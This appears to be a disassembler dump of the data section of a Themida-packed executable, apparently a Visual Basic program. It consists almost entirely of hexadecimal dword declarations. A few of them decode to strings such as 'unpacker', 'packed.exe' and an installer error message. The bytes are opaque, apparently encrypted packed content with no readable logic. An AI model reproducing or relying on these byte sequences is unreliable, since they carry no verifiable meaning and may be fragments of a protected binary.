		dd 9C8DBAC2h, 14E949h, 6FF90000h, 88826828h, 6E2EEE88h
		dd 928774C6h, 1AB67F7h,	8B528833h, 66008FCFh, 0E883DA8Bh
		dd 57484802h, 5BD88B66h, 9D850F4Fh, 81FFFFFFh, 522E4FC6h
		dd 0BE843h, 5ACA0000h, 82DF06C1h, 8021DA25h, 0FBA66ECh
		dd 0B70F593Dh, 0D6C181F2h, 0E9000070h, 12h, 87F9D778h
		dd 796929C1h, 136D7120h, 0F7C896E8h, 52BF81FDh,	810A48D9h
		dd 0B742B0C7h, 0C8C0FF5h, 0F000000h, 680h, 82C28100h, 0FF39D18Eh
		dd 0EE931h, 2A900000h, 0C9B2F402h, 0D73758B9h, 0B3217F3Eh
		dd 0A2F3815Bh, 517B8662h, 5880Fh, 81660000h, 5815BEC0h
		dd 0B06FF381h, 81F52251h, 333D1BF3h, 58F0F4Eh, 0BE000000h
		dd 5EDD2F94h, 0C6801989h, 4E983F2h, 4FC7B70Fh, 1A850Fh
		dd 0E9F50000h, 2Ch, 89021162h, 0AE9646F1h, 0B8428995h
		dd 0F9A9EE5Dh, 0E9FDCF11h, 0FF8DE9F9h, 13D4FFFFh, 3DEA7F21h
		dd 29E8ECEBh, 84A7B252h, 1ACB1E7Ch, 51378D8Dh, 6A06AFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1B94D6C3h, 8F0C9754h, 81667F29h, 893887D6h, 0A916CD8Dh
		dd 6BEDBA06h, 0E0B23CEBh, 0CE585C7h, 5DF406A9h,	85C70000h
		dd 6A911CDh, 0
		dd 1D0DBB66h, 3365B5FFh, 0BF0F06A9h, 8195FFDAh,	6A06A932h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0C5AAC356h, 8B6660B0h, 0CA8B66D1h, 0FF006A61h
		dd 0A92D9595h, 0EBC08B06h, 29A01F2Ch, 0D868EE5Ah, 528E516Fh
		dd 178A5211h, 0FA7B0FA5h, 24FAAAABh, 857086BAh,	926F8325h
		dd 889B722Fh, 4C6DE0ABh, 0B7BAEE4h, 0E08D8D4Bh,	0FC06AF51h
		dd 16CD8D89h, 6A06A9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 70144FC3h, 804F7C63h, 1F118589h
		dd 958906A9h, 6A905E5h,	0CE585C7h, 647406A9h, 85230000h
		dd 6A92C31h, 11CD85C7h,	6A9h, 81660000h, 0FF07D8F3h, 0A912C9B5h
		dd 98D8906h, 0FF06A912h, 0A9328195h, 0BF81BA06h, 6A3416h
		dd 2D9595FFh, 0C08B06A9h, 63A34CEBh, 3154EDC1h,	18663711h
		dd 0CDA89843h, 81777E9h, 323C1174h, 238C41B3h, 40DC4163h
		dd 0B2DDDD36h, 82AB5278h, 3BF1C4F9h, 7B1918ECh,	0B5DEBB9Ch
		dd 2A6376F6h, 62A74073h, 3EBDC5A9h, 37B1E385h, 0DA602B86h
		dd 786A591Eh, 83E906DAh, 0D7000001h, 0C5167599h, 4377E705h
		dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
		dd 657865h, 3Ah	dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 9 dup(0)
		dd 0F2E90000h, 6800001Bh, 6AF5626h, 0FA2C14E9h,	574768FFh
		dd 0AE906AFh, 68FFFA2Ch, 6AF583Ch, 0FA2C00E9h, 58D768FFh
		dd 0F6E906AFh, 68FFFA2Bh, 6AF5916h, 0FA2BECE9h,	59F368FFh
		dd 0E2E906AFh, 68FFFA2Bh, 6AF5A57h, 0FA2BD8E9h,	5A9E68FFh
		dd 0CEE906AFh, 68FFFA2Bh, 6AF619Fh, 0FA2BC4E9h,	623368FFh
		dd 0BAE906AFh, 68FFFA2Bh, 6AF62DEh, 0FA2BB0E9h,	639B68FFh
		dd 0A6E906AFh, 68FFFA2Bh, 6AF6406h, 0FA2B9CE9h,	64EA68FFh
		dd 92E906AFh, 68FFFA2Bh, 6AF65CDh, 0FA2B88E9h, 665568FFh
		dd 7EE906AFh, 68FFFA2Bh, 6AF6C72h, 0FA2B74E9h, 6D8068FFh
		dd 6AE906AFh, 68FFFA2Bh, 6AF6E2Bh, 0FA2B60E9h, 0DD17AFFFh
		dd 679D3AE0h, 0F92BC46Ah, 84B856FCh, 0D47E187h,	2B4FD510h
		dd 0BC625F91h, 49EFEC20h, 0D17774AEh, 0AD030032h, 0C16B8B19h
		dd 0C235F5F4h, 0E80E9C30h, 0B8F5F4C1h, 3365A507h, 5F17F94h
		dd 93FCA416h, 0DA133E2h, 0A415777Fh, 10D621FCh,	51AB7D7Eh
		dd 84399B4Ah, 9B2D5FFEh, 0BEA7D350h, 64A992E4h,	0B862ABF9h
		dd 0E21EB823h, 8FF1A04Fh, 18D8EA70h, 0C3E5F886h, 0D081F27Eh
		dd 0DA1CAA3Eh, 0C6F5FAA3h, 72FEB315h, 0F5FAA350h, 82154FEAh
		dd 9B2E62FCh, 33A3094Ch, 93176214h, 9F7F7CBCh, 0CDFF9E24h
		dd 0C4298B3Ah, 7B589A78h, 483DA00Fh, 89000000h,	806853Eh
		dd 99B3110h, 0FABD7B7Bh, 127425F5h, 816F53D2h, 233061EFh
		dd 47F8F27Fh, 19A28B4h,	5507F5FBh, 669C39C1h, 0FB021CDAh
		dd 69CB7CF5h, 0C34BB804h, 4F85212Ah, 0FC5E0DBCh, 0FEB1BD7h
		dd 0FA7AA0h, 273A0000h,	3DD0029Fh, 0E5842C8Eh, 9A20B3h
		dd 179F31C4h, 0AF427Ch,	2557F69Eh, 0DC780092h, 46615A8h
		dd 17B4BD5Ch, 873936E5h, 4894413Ch, 0FB5C8F15h,	0B9164633h
		dd 36E446F5h, 0FCA37F78h, 9C99CB6Ah, 91C362EAh,	0DB064FFEh
		dd 18E1663h, 7413BB1Dh,	8E1CB042h, 0FCA3C668h, 70258738h
		dd 0A638B80Ah, 7EE49D18h, 0CBC879F2h, 0C1F39119h, 951D7F2Eh
		dd 1F51EC2Dh, 23D1438Ch, 0E199FA9Eh, 63F18332h,	0EBC6CC3Bh
		dd 0B51FD01Bh, 0F1711A62h, 0D264158Fh, 0E274B04Ah, 2587BD5Ah
		dd 30CC5406h, 58BA69FCh, 63DA16B0h, 8909407Ah, 0B383A439h
		dd 59000018h, 0E08683C1h, 6E141143h, 0FCA29FD5h, 872D2A5Eh
		dd 7BB6B3EDh, 0FD37D1A9h, 86BE5A00h, 1648E389h,	0A2D47319h
		dd 2DBB4FA5h, 0F5F4BFC9h, 334664D7h, 0B86A6799h, 0FAB6D56Dh
		dd 6ACC3027h, 5F5723C2h, 0F88830DCh, 79B7B463h,	0DAA6F53h
		dd 0E69544D7h, 23CBC654h, 0EA9BF27Fh, 0C036C458h, 0E0F5FB01h
		dd 8C18CD2Fh, 0F5FB0136h, 9725B96Bh, 0F5FB015Fh, 0C1268839h
		dd 0EB5B977Bh, 0E13AA00Fh, 0FA000000h, 0F17F9433h, 0FCA41605h
		dd 0C05CE293h, 4BDD8Ch,	93217E27h, 0FCA32A63h, 83438C3Dh
		dd 8F44A63Eh, 0A2356F09h, 0A3E89816h, 1CF33EFCh, 857E3503h
		dd 698D1BADh, 37FCA32Bh, 0DD7C2486h, 6908AEABh,	843EA437h
		dd 2BFBFB89h, 0DB77FCA3h, 0F1A051A9h, 49E4D15Fh, 3B4F27Eh
		dd 14428006h, 153F1B52h, 20C5AD1h, 7A3FAAF3h, 728412A4h
		dd 2EF5FA3Eh, 0AE3CCE7Dh, 0EBC6ECFDh, 4ED66819h, 0D18380B4h
		dd 0AF47AF3Dh, 0A051FCA1h, 0E5FC963Eh, 0A1AF9F57h, 9948F9FCh
		dd 9F8AF22h, 3859EE89h,	1792h, 0A5A2E27Ah, 333062FFh, 0C1BEF48Dh
		dd 4E4B7D1Bh, 0D5D20EA8h, 56F08A9Ah, 0DB771D1Ah, 6B06ACA9h
		dd 0F7963C39h, 0DE72C8C5h, 0F4BEA650h, 617FF2F5h, 6A679933h
		dd 61F325C4h, 6F0240D9h, 13F5EC0h, 0CF019F27h, 0F426C56Dh
		dd 0F2521762h, 0C3D6683Fh, 0D76AA03Dh, 8B11C628h, 37BDBAECh
		dd 4BD3658Bh, 0ED0997ACh, 0ABFCA35Ah, 35E94BFAh, 7E6C36A7h
		dd 0EA152F2h, 0FA704082h, 27AF61F5h, 10BF528Ch,	90E349AEh
		dd 0A0336D08h, 886A8FF1h, 0DA00F5Eh, 0A7h, 5ACA09CDh, 0DF17A568h
		dd 8BFCA415h, 7D2CBFF1h, 33C57425h, 7F206CA5h, 790BBCF2h
		dd 0B81A58F1h, 0A844E08Eh, 784AF958h, 0AD58E678h, 89204B75h
		dd 0E3DF45D8h, 745A9C2Ah, 7E0C2809h, 28097478h,	6E1F7728h
		dd 1F9F2DBFh, 791DD8E0h, 0FAE36C8h, 9B3AE0DDh, 4CF5F269h
		dd 1FB45B3Dh, 169DFEh, 9DD76F00h, 275DFAA0h, 0B9EB842Ah
		dd 447816BCh, 0CD07A147h, 0EB8F95D0h, 7C221F51h, 9AFACE0h
		dd 9137346Eh, 6DC3C0F2h, 0BDAB4BD9h, 82F5F5F4h,	62943364h
		dd 975969CFh, 27667705h, 40C8F27Fh, 930D6FA1h, 9A7E5E2h
		dd 0C9A2ECAh, 0FCA415EAh, 0E57305B6h, 0FCA41611h, 0F47CDE8Fh
		dd 7DAF4BCEh, 0FA8C3BEAh, 7F20A56Ch, 0A8B061F2h, 55F6CEFAh
		dd 4AA61C6Fh, 3ADB2AB8h, 8A3B70FDh, 0BF3191F7h,	851F9F2Dh
		dd 0C8796B4Ah, 0DD0FAE36h, 699B3AE0h, 8F118BF2h, 0F415AA08h
		dd 1602h, 3532720Ah, 0C3C0F28Fh, 514E841Dh, 0DEDB0DABh
		dd 65629E38h, 0E680FA2Ah, 6B07ADAAh, 0FB963C39h, 8726CCC9h
		dd 6E025855h, 0F4BE16E0h, 0F10F82F5h, 0EB629433h, 890B9E8Ah
		dd 0C3E30499h, 49000015h, 0D07673B1h, 5E040133h, 0EC928FC5h
		dd 771D1A4Eh, 6BA6A3DDh, 0ED27C1B9h, 76AE4AF0h,	638D379h
		dd 92C46309h, 1DAB3F95h, 0F5F4BCD9h, 273654C7h,	37CA049Fh
		dd 0DF7E2688h, 55C43C13h, 0AF4BA203h, 8C1FCE7Dh, 0C2549C26h
		dd 1F8CF277h, 9E000C19h, 0B4AD5CEAh, 0B73FF27Eh, 781E31Dh
		dd 59895956h, 67F9F7CBh, 0D5A338D9h, 0B442D6EBh, 0FCA3AD42h
		dd 0AD609624h, 8F40FCA3h, 0E115A337h, 0BFFCA3ADh, 83FD5F0Eh
		dd 0D6F540D2h, 0ED1FBEC3h, 1562AB5Ah, 5E88EAD5h, 7FCEF4B0h
		dd 28C8FA58h, 0DB7A0296h, 56716A9h, 0D66EAE57h,	46D98A55h
		dd 5C902CB4h, 30B81AC9h, 3ECC5E92h, 5871D980h, 159D2FE0h
		dd 1EB24476h, 0F63A6690h, 1F81325Fh, 89BB5A00h,	0A645F712h
		dd 21B615h, 14E6h, 59568E26h, 0E7E416B3h, 6D6AA841h, 0FAF729C7h
		dd 8986BA54h, 0AA4D64Eh, 9733D9D6h, 27C26865h, 0AB4AF0EDh
		dd 92267C79h, 0F4BCF204h, 1D3BAEF5h, 49ABDC27h,	0ED66E7F6h
		dd 0C6E1D4Fh, 0A36B985Eh, 0AD46CEFCh, 5B671577h, 0D9FCA37Bh
		dd 0FCA36BE9h, 0A36B774Bh, 0F224C3FCh, 0B34567Bh, 5F801589h
		dd 1482h, 0B5B2F28Ah, 4340720Fh, 0D1CE049Dh
dword_5AD328	dd 5E5B8D2Bh, 0E5E21EB8h, 66007AAAh, 0EB872D2Ah, 7B16BCB9h
					; DATA XREF: Themida_:00554746o
		dd 7A64C49h, 0EE82D8D5h, 0F4BB9660h, 718F02F5h,	0EF816F53h
		dd 7F256461h, 8C03B4F2h, 8FA29149h, 3B66871Ch, 0D1000014h
		dd 58FEFB39h, 0E68C89BBh, 741A174Dh, 0FFA5A2D6h, 0F32E2B65h
		dd 75AF4931h, 0FE36D278h, 8EC05B01h, 1A4CEB91h,	0A533C71Dh
		dd 0F5F4BB51h, 27BEDC4Fh, 15F10593h, 0FEAFFCA4h, 2355F49Ch
		dd 876FFD91h, 11FCA415h, 0C349FE60h, 0D860F224h, 0E375083Ch
		dd 0A415A155h, 9F4EFFFCh, 6302883Dh, 7F189E31h,	0FF44B245h
		dd 60C529B5h, 3BC3614h,	2CD9A6B9h, 99000000h, 0A415952Dh
		dd 0D406A5FCh, 0E71DBA42h, 51CE0B54h, 50B2A9BBh, 6E203FA1h
		dd 85184CE6h, 79C674D6h, 7EFCBFB1h, 139CCAEBh, 338C0000h
		dd 3DCF6294h, 56E91BB5h, 5BD45A7h, 12CB59EBh, 34F27F42h
		dd 870477E9h, 7625B8EAh, 6525862Dh, 0DBD88903h,	0F1836D55h
		dd 0D5B94A63h, 29546EBh, 1FB1E37Ch, 60C2FC97h, 6B2C9541h
		dd 710EFCA3h, 0FB983E3Bh, 13B036C9h, 76B94EE1h,	1F2CC90Eh
		dd 0D5054E80h, 0BF451AA4h, 0DBFEFBAAh, 0A6B85817h, 2297Eh
		dd 6F533E00h, 0F061EF81h, 38F27F1Ch, 0D16EF487h, 0E781099Bh
		dd 862C4BADh, 9420B3E9h, 0F5FB1B2Eh, 4DBE0669h,	60F329C5h
		dd 7BCB68B1h, 10E27B06h, 336906AEh, 467C19A1h, 2DDF6AB3h
		dd 613B7A2Ah, 0AB3150B2h, 0B347D917h, 0D460922Bh, 0F5FAF122h
		dd 0F040B644h, 0AF60F5FAh, 9044A657h, 0D6061B02h, 0B74AFBEBh
		dd 0F3039125h, 0ADFCA3DCh, 58F29AFCh, 0DF791F1Ch, 8B2530CEh
		dd 69FBAA59h, 0DCAF47D5h, 38E9FCA3h, 5F9521D6h,	68FCA3DCh
		dd 629422B6h, 3EFCA3DCh, 7EC62B8Dh, 0B6EC850Dh,	0CD609430h
		dd 7A14BC1Eh, 0FFC34946h, 43CB5FF1h, 35E477A9h,	0EF8425D3h
		dd 0E394F27Eh, 0F92BCA50h, 27C24AFCh, 44E38BEDh, 0F155A12Fh
		dd 7715F5FAh, 8D3CED45h, 0F1886EFAh, 0E447F5FAh, 66983798h
		dd 0F426C369h, 0AC46CE62h, 0AA36E578h, 0F5FAF14Ch, 0E9529B4Ch
		dd 0F6B0A475h, 76FCB113h, 7B10A3D9h, 0EE8BCC38h, 9A22ABCh
		dd 984A69CBh, 0A73A7610h, 817196F8h, 14A00FACh,	96h, 59327D4h
		dd 0FCA415F1h, 0F49CFEAFh, 0D93265Ah, 19AE4173h, 8F296ED6h
		dd 1612E472h, 0DD8EFCA4h, 0E40E312Eh, 0B1A6B903h, 6Ah
		dd 62943371h, 78AA49CFh, 2ABE50E5h, 0A4155A9Ch,	339546FCh
		dd 822166CEh, 0C2305350h, 0D3A6B903h, 46h, 816F5393h, 284861EFh
		dd 0AF60F27Fh, 0F832901Ch, 6908F5FAh, 801EA437h, 9927B94Ch
		dd 0F5FAF85Dh, 0D71C8A3Bh, 558F2A6Dh, 0D82487A6h, 0FE6F8FAh
		dd 27B549A0h, 0F5FAF0CFh, 56B618C9h, 82h, 467E1AA2h, 6F53A4E4h
		dd 0B061EF81h, 3EF27F35h, 5DE319B6h, 4CFB8EC4h,	2DBF70EAh
		dd 5AB07E2h, 0C3EA3369h, 9146A8A3h, 0CB656E0Bh,	41F024C2h
		dd 52EF9592h, 6A078D20h, 0FB8EC461h, 750A9D4Ch,	0E885CA32h
		dd 6092B5B2h, 35A00F32h, 2Ch, 806E53F5h, 157660EEh, 1AA27CA4h
		dd 2B14480h, 8E34C053h,	2B7CA417h, 863B7CC8h, 8E48D668h
		dd 0CAFCA417h, 7DB1C19h, 9D000000h, 4598h, 9A335A00h, 0B04ED668h
		dd 0DF651A7Ch, 0F67E1042h, 0E2912458h, 2F91C35Ch, 97CD6A10h
		dd 0C71F9E04h, 800EA234h, 0FCA41576h, 0F6008E22h, 0A2FCA415h
		dd 32E042F1h, 0FCA4158Dh, 9575BF22h, 0A6B9005Dh, 0B9F38h
		dd 6A53F800h, 0DE5DE97Ch, 0C777142h, 26AC3F71h,	72C15488h
		dd 3A59C52Fh, 45AD6DD7h, 0FC1D0DCFh, 40A2D674h,	2CE0h
		dd 6A53A000h, 9A5CEA7Ch, 6FCA415h, 8E3ABEBBh, 7F2EC1F3h
		dd 0BC516F36h, 2AEE7A0Dh, 2F572828h, 50A260CCh,	45FD4582h
		dd 250h, 7C6A5305h, 33EE0C5Eh, 0B1446294h, 1B4CB671h, 42699BB9h
		dd 29000000h, 0EA7C6A53h, 0FB8EC662h, 27AAEA4Ch, 0A4152899h
		dd 0FD8F40FCh, 33CCD975h, 10BF6E01h, 1A98347Dh,	198FD2B1h
		dd 194BE46Ah, 3575D786h, 9A330727h, 9F274A68h, 8D3CCF01h
		dd 983A582Bh, 34h, 7C6A535Ah, 0B93275Eh, 0FDAC3F71h, 15D4ED9Bh
		dd 38C0FCA4h, 25D46799h, 15F10593h, 0FEAFFCA4h,	9B29BD4Fh
		dd 0FCA4155Bh, 0F2329445h, 9A330727h, 0EA084A68h, 334F872Dh
		dd 97C9632Ch, 2355F49Ah, 356F0991h, 0C291F3A2h,	0C16EA23Ch
		dd 0DA68FC8Eh, 4C36DE1Ch, 0DD42B442h, 0AD5E4C36h, 0DD42A455h
		dd 88913097h, 0D0618EEh, 0C6C6E30Bh, 0B8606817h, 0A83AE719h
		dd 0B74A8620h, 0BFD4A608h, 0BD026ACFh, 4379151Eh, 45E48C94h
		dd 4CD46613h, 721A7CB0h, 5602BFD8h, 0B5664C36h,	0BB43D508h
		dd 0CE6AF022h, 0F2540396h, 41E0278Dh, 0C55F070Fh, 5448F88Bh
		dd 0CA0D77DCh, 45F7F430h, 55D323B1h, 1CCD4C36h,	417312BAh
		dd 63740E94h, 4C36555Eh, 15AC590Ah, 9561EF83h, 34C3655h
		dd 218BF052h, 73B14AD2h, 27CF31E0h, 30C45688h, 365554A2h
		dd 1FBC444Ch, 0FCAB5AEDh, 29C8709Ah, 0F69A4AF7h, 0A93C700Eh
		dd 0C3568823h, 61CD379Ah, 498EF65Bh, 6F0D95AAh,	5545B13Dh
		dd 0A2534C36h, 0A443EBF3h, 0A53FC572h, 0F98BBE6Bh, 561FD765h
		dd 0C8794C36h, 54BB0166h, 547BE9B5h, 0E17A4AC8h, 0E2762A32h
		dd 362EA254h, 0EB4DFE4Ch, 8B9433ABh, 7928BBEDh,	0EE0CACCAh
		dd 62806E53h, 932771B1h, 0A415F105h, 8D1BAFFCh,	0FCA41569h
		dd 75D78637h, 0B91BB250h, 32039Bh, 0C74F0000h, 5292F42Eh
		dd 62806E53h, 15289927h, 8F40FCA4h, 27072771h, 0DB484893h
		dd 4A15C349h, 0A3A338BEh, 55B768FCh, 0BCDA10ADh, 4498EA08h
		dd 5A000000h, 62806E53h, 71FF9327h, 0FCA41585h,	0BFF18B13h
		dd 0B7ED8A10h, 151AA755h, 8C14FCA4h, 0A329BCF0h, 9241D406h
		dd 9F3381E3h, 0A415E511h, 7C02B3FCh, 6A19ACE0h,	7279DBBh
		dd 0F48D9633h, 0CD7C2BBEh, 27EA08AFh, 6CCE009Fh, 0A424CDBEh
		dd 5F1132FCh, 0D3FFFFFDh, 0F1059327h, 0AFFCA415h, 0D4EE9CFEh
		dd 86FCA415h, 0CB2AF37h, 3AD65E73h, 15807602h, 58E6FCA4h
		dd 0FCA4159Eh, 40F149FAh, 15D620AEh, 11C2FCA4h,	0B343CF62h
		dd 0BFFCA415h, 0D55BEE20h, 2C75083Ah, 61AE05E3h, 3A9DC6ABh
		dd 0B499CAF2h, 0BBDEE8E4h, 0CB53050Ch, 0BA69FC2Eh, 3A89F358h
		dd 48DB19B2h, 0F68F3799h, 7C19BFBCh, 0FEC34946h, 43CB5DF0h
		dd 30DF72A4h, 308D20CEh, 5FC2BECAh, 0A2BD3515h,	39846462h
		dd 0C64E6C41h, 0A303652Ch, 1F8h, 15942D63h, 0FCC6FCA4h
		dd 381762F4h, 0E29E5994h, 0E16F2385h, 0F27ED7C4h, 742623D4h
		dd 0B03E53ECh, 0F5FAD546h, 5FF2A152h, 0DA64EB0h, 1EB244D7h
		dd 0FAD56690h, 0FB8132F5h, 0E9982B5Dh, 1042DF87h, 285AF77Dh
		dd 5D932F95h, 0D31C3DCBh, 9B4CEBD5h, 0BDAEB24h,	0F415AA89h
		dd 0D3Ah, 0FDFA3AD2h, 8B88BA57h, 19164CE5h, 0A6A3D573h
		dd 2D2A6600h, 0AE4832F2h, 33CF7572h, 0C35E0401h, 4FEE9491h
		dd 36CA201Dh, 0F4B44EA8h, 0B9D74AF5h, 0CF629433h, 5975969h
		dd 7561D277h, 0E37526F2h, 0F92BC74Fh, 0AD55B766h, 3BE1DE14h
		dd 4BDD70A2h, 0C2CD29B7h, 1ACBF5F4h, 3F7110B8h,	528825ADh
		dd 99FB2DCCh, 12447EE4h, 9E1CFCF1h, 0C93C859Eh,	5AE49047h
		dd 0F88618C7h, 0EBCF9DE9h, 78FC327Dh, 0BC925549h, 0B8679D36h
		dd 0D62FE41h, 728BD89h,	0CA6h, 9996CE66h, 272456F3h, 0ADAAE881h
		dd 3A376907h, 0C9C6FA94h, 4AE4968Eh, 0D7731916h, 6702A8A5h
		dd 0EB8A302Dh, 0D266BCB9h, 0F4B3B244h, 5D7BEEF5h
		dd 0CF629433h, 5975969h, 7F233E77h, 68D520F2h, 0EFD925DAh
		dd 0D80CAA30h, 0BA349645h, 0C7660C09h, 59EC20BEh, 78FEFBAAh
		dd 8614A64Ah, 0EBCC50F0h, 4352EE76h, 63C574A6h,	1EA638E9h
		dd 0AC524F85h, 0BC4EE113h, 971A7A71h, 0E517A6FAh, 20C62A52h
		dd 54FC5E0Dh, 69F183B5h, 7B3092D0h, 0B143AD15h,	78B5BE23h
		dd 8816AAF2h, 0F5F4996Eh, 53CA792Ah, 8FA4E1E6h,	0FB0F30C5h
		dd 1100000Bh, 983E3B79h, 26CCC9FBh, 0B45A578Dh,	3FE5E216h
		dd 336E6BA5h, 0B5EF89F1h, 3E7612B8h, 0CE009B41h, 5A8C2BD1h
		dd 0E573075Dh, 0F5F4B411h, 33FE1C8Fh, 3DCF6294h, 15DB1BA9h
		dd 14C5FCA4h, 58982AB2h, 95A03EC6h, 8013C2F8h, 2DBB6FD1h
		dd 0F27F294Ch, 8AEAB5Ch, 963C396Bh, 8CCAC7FDh, 0EF816F53h
		dd 3294CE67h, 18EDF07Eh, 0D889F27Fh, 0A84EFB46h, 0E908029Bh
		dd 7C46D287h, 25F5FAB0h, 5A987AC2h, 3BA00F9Ah, 6Eh, 649633FBh
		dd 520E87D2h, 0AEF72DC6h, 8DEFAE28h, 7FB552D8h,	94C866ECh
		dd 0ACDE7B01h, 579929AFh, 466637C5h, 0D182F27Eh, 0A260C35Ah
		dd 0C2DC28Fh, 0B3Eh, 1FE36CEh, 8F8CBE5Bh, 151250E9h, 0A29FD16Fh
		dd 312E62FCh, 0B24C2EF6h, 3FDB817Eh, 0CF6A100Dh, 53F29895h
		dd 3ACE2421h, 0F4B24AACh, 0C5E356F5h, 67649633h, 6226h
		dd 9327E800h, 0A415F105h, 8D27AFFCh, 6211C053h,	89BB5800h
		dd 9BD56FF7h, 42F75908h, 780AE6DCh, 7F136FEAh, 7FF6A7F2h
		dd 8FA299AEh, 0D32748DDh, 3900000Ah, 0C06663A1h, 4EF4F123h
		dd 0DC827FB5h, 670D0A3Eh, 5B9693CDh, 0DD17B1C9h, 669E3AE0h
		dd 0F628C369h, 82B453F9h, 0D9B2F85h, 0F5F4B1E9h, 332644B7h
		dd 5F17F94h, 65FCA416h,	520194C6h, 61EAFFAh, 6EDB9B63h
		dd 0F77D10BFh, 2F932658h, 52A062CAh, 43A6B85Dh,	279h, 0FEFA0903h
		dd 85DD85B3h, 701FB2E8h, 0D8CBE27h, 6E9F23ABh, 0A31C16E0h
		dd 22D182FCh, 270F0290h, 0CF57F27Eh, 698D1B30h,	37F5FA29h
		dd 2028D786h, 164AE46Ch, 0D30D06B4h, 873BDA62h,	0F049D769h
		dd 6EFD40E3h, 9E3B4AE6h, 7B2AD96Ch, 32799FE8h, 71E09AC6h
		dd 35E660C2h, 6A863CA2h, 21BC44D8h, 4BAD5CEFh, 0DC50219Dh
		dd 3CCE7FFEh, 0C54915B4h, 1AE5B228h, 0E88E8B3Ah, 70A44049h
		dd 87F2EDDh, 7C30FA11h,	0EFA6C75Ch, 1D000009h, 0AC524F85h
		dd 3AE0DD0Fh, 0C06663A1h, 4BF1EE22h, 47827FB1h,	0D1039DDDh
		dd 5A922ED4h, 0E21CB75Dh, 6EA03FE5h, 0F9871B71h, 0F5F4B1FDh
		dd 330A289Bh, 0BEF48D96h, 59F57D0Fh, 7FE19023h,	16B038CAh
		dd 369847DAh, 4ADC14AEh, 0C9696BB6h, 0BEBAE996h, 0D6699B38h
		dd 9D17C527h, 7FF2749Eh, 942759F7h, 1CA436E5h, 6FBA4C80h
		dd 820CB5C3h, 0A8C729FFh, 9B2E6602h, 18E2BE09h,	0A11ED866h
		dd 0C97AF5F4h, 1A9E8180h, 5E9230B8h, 4CAA38CCh,	4CF5F432h
		dd 32CC2AB8h, 1BCCF5F4h, 0C2560A6Ch, 7AC59A77h,	6312A5DFh
		dd 290F1B1Ah, 5FA8578Dh, 0C1FCFAB3h, 520062D8h,	0EBD00783h
		dd 89022D3h, 5BA6386Ch,	4185893Ch, 6786E807h, 0B25525C1h
		dd 0DAB4DF97h, 0CF55E897h, 8A87FE30h, 0D1890D1Bh, 90C1B3Ch
		dd 68000000h, 0EC892F2Ch, 7A13B9B6h, 7A54B48h, 9832D8D5h
		dd 245F5Ch, 0A7A4E07Ah,	322F6501h, 0C2BFF18Ch, 4E4B7D1Ch
		dd 20D664F8h, 80F5F4B1h, 0CE7AEF0Dh, 0FCA41620h, 0F8971FD1h
		dd 228433C6h, 177D77BDh, 25B345ABh, 0F27F2DB0h,	3AE9A5F0h
		dd 2231C5A6h, 0C059E173h, 0C3FF8582h, 40D9B2Dh,	0AEBC721h
		dd 162749BFh, 5CEE3839h, 0A1C128CEh, 65C778FCh,	20A83AEBh
		dd 0AC524F81h, 0E164DB0Dh, 0A48909C8h, 884EE0Fh, 0F0880000h
		dd 7411B7B4h, 29B413Eh,	8F2DD3D0h, 20BA605Dh, 78ACE7E4h
		dd 2F2C6802h, 0BAB7ED89h, 4A477914h, 0D6D305A4h, 985EEC80h
		dd 8F5F4AFh, 952D7795h,	0A5FCA415h, 0F742D406h,	679C4273h
		dd 0C54EB2B9h, 0F15E0AFBh, 0FC1E042h, 25B8EA87h, 368C1476h
		dd 689A28BAh, 80F27ECCh, 5EA93DCFh, 2B97C94Ah, 0C1B5FEE9h
		dd 0CD798E3Dh, 7914BC1Eh, 9A44A47h, 0B2344D7h, 71000008h
		dd 15E75826h, 0EC4E6ED7h, 816F53ACh, 264461EFh,	0A354F27Fh
		dd 8E337E10h, 0ABE17E60h, 57206918h, 0A452B43Fh, 0F5FAC91Eh
		dd 0F6D42083h, 0A00FB3FCh, 16699h, 9F275900h, 8C3BCE00h
		dd 0F0AF7743h, 74D64815h, 6CFF31CCh, 7F124AE6h,	96285AF9h
		dd 0D83A720Eh, 0F9029D23h, 76732260h, 8B2435D0h, 6817C659h
		dd 9A506FD5h, 92047A08h, 33E4FCA3h, 0CE3699A0h,	0B7B4EE89h
		dd 0C7657611h, 0A4530295h, 91458511h, 81E4FCA3h, 739D43Bh
		dd 1B51ED75h, 5877D988h, 4A821EA6h, 1EA608B7h, 23B749A1h
		dd 0A3906195h, 19B73FFCh, 0F6A554E7h, 9C52E094h, 0FCFCA390h
		dd 0B14F94B1h, 701F2AC8h, 89BB57DDh, 0B952DA8Ch, 0D739E87Bh
		dd 0CE61932Fh, 0E477A948h, 0CD327ADDh, 58FEFB31h, 8FF588BCh
		dd 972BBD33h, 0D83A740Fh, 7EB8DF2Ah, 0DB69FDF2h, 0F5FAC41Bh
		dd 0FE981394h, 97EFD808h, 590A84E6h, 71A33FC7h,	0AECD2FDEh
		dd 0A6386C08h, 0DE79841Eh, 0B36211A4h, 0C5FF9A20h, 72D48332h
		dd 9A32BBDh, 909066F4h,	5F10F5FAh, 0C6E1DB0h, 1DAF3B84h
		dd 0FA906B8Fh, 0E16F03F5h, 0F5FA9115h, 0F670D283h, 912BB345h
		dd 0DDFB90C5h, 96457D66h, 3DF25403h, 2669D336h,	0AF55528Ah
		dd 0E84EE113h, 51A533DAh, 5EF5FA32h, 0F5F53BA8h, 0AB5CB479h
		dd 2E6B8B19h, 8435F5FAh, 18B543D5h, 78EBD531h, 8824CAC7h
		dd 2177C254h, 2F116E2Eh, 0A35574D6h, 0B74A7C1Bh, 0FB5F9725h
		dd 8839FCA3h, 34CF77D9h, 27BFFDFAh, 15F10593h, 8BBEFCA4h
		dd 0A06D6A4h, 0BA1CCD25h, 0CE609032h, 5B9E0E83h, 0EB4D7766h
		dd 5F34A937h, 0A354F27Eh, 0B7ED8A10h, 0CE049D25h, 5F438C3Bh
		dd 0B93228E5h, 66183799h, 0AF1143DEh, 806E536Fh, 3AD35BEDh
		dd 40C67508h, 610F71A3h, 0FCA41561h, 67068E40h,	91F3A235h
